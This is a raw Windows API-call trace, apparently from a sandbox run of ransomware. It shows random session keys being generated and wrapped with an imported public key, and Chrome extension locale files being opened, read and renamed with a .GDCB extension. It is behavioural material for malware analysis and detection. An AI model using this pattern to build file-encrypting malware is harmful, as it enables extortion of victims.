[0259.057] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.059] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792860) returned 1 [0259.059] CryptGetKeyParam (in: hKey=0x6792860, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.059] CryptEncrypt (in: hKey=0x6792860, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0259.060] GetLastError () returned 0x0 [0259.060] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.060] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.062] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792720) returned 1 [0259.062] CryptGetKeyParam (in: hKey=0x6792720, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.062] CryptEncrypt (in: hKey=0x6792720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0259.062] GetLastError () returned 0x0 [0259.062] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.062] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0259.063] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0259.066] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0259.068] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x125, lpOverlapped=0x0) returned 1 [0259.078] VirtualAlloc (lpAddress=0x0, dwSize=0x130, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0259.085] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json.gdcb")) returned 1 [0259.091] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.094] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.097] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.097] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0259.097] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.097] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0259.100] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.102] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.103] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0259.103] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0259.103] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.106] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792520) returned 1 [0259.106] CryptGetKeyParam (in: hKey=0x6792520, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.106] CryptEncrypt (in: hKey=0x6792520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0259.106] GetLastError () returned 0x0 [0259.106] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.106] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.108] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67922e0) returned 1 [0259.108] CryptGetKeyParam (in: hKey=0x67922e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.108] CryptEncrypt (in: hKey=0x67922e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0259.108] GetLastError () returned 0x0 [0259.108] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.108] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0259.109] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0259.112] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0259.115] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x119, lpOverlapped=0x0) returned 1 [0259.124] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0259.131] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json.gdcb")) returned 1 [0259.136] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.140] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.142] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.142] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0259.142] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.142] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0259.144] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.146] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.146] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0259.146] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0259.147] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0259.149] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67928a0) returned 1 [0259.149] CryptGetKeyParam (in: hKey=0x67928a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.149] CryptEncrypt (in: hKey=0x67928a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0259.149] GetLastError () returned 0x0 [0259.149] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0259.149] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0259.151] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792820) returned 1 [0259.151] CryptGetKeyParam (in: hKey=0x6792820, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.151] CryptEncrypt (in: hKey=0x6792820, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0259.151] GetLastError () returned 0x0 [0259.151] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0259.151] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0259.153] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0259.156] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0259.158] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x11d, lpOverlapped=0x0) returned 1 [0259.167] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0259.175] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json.gdcb")) returned 1 [0259.181] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0259.185] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.187] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.187] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0259.187] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0259.187] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.190] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.193] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.193] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0259.193] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.193] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.196] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67921a0) returned 1 [0259.196] CryptGetKeyParam (in: hKey=0x67921a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.196] CryptEncrypt (in: hKey=0x67921a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0259.196] GetLastError () returned 0x0 [0259.196] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.196] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0259.198] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67925a0) returned 1 [0259.198] CryptGetKeyParam (in: hKey=0x67925a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.198] CryptEncrypt (in: hKey=0x67925a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0259.198] GetLastError () returned 0x0 [0259.198] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0259.198] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0259.200] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0259.203] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0259.206] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x102, lpOverlapped=0x0) returned 1 [0259.214] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0259.264] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json.gdcb")) returned 1 [0259.270] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0259.274] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.276] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.277] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0259.277] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0259.277] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.280] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.282] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.282] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0259.283] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.283] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.285] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67925e0) returned 1 [0259.285] CryptGetKeyParam (in: hKey=0x67925e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.285] CryptEncrypt (in: hKey=0x67925e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0259.286] GetLastError () returned 0x0 [0259.286] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.286] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.288] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792620) returned 1 [0259.288] CryptGetKeyParam (in: hKey=0x6792620, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.288] CryptEncrypt (in: hKey=0x6792620, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0259.288] GetLastError () returned 0x0 [0259.288] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.288] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0259.289] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0259.293] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0259.295] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xfe, lpOverlapped=0x0) returned 1 [0259.304] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0259.318] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json.gdcb")) returned 1 [0259.324] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0259.327] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.329] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.329] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0259.329] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0259.329] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0259.332] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.334] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.334] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0259.334] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0259.335] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 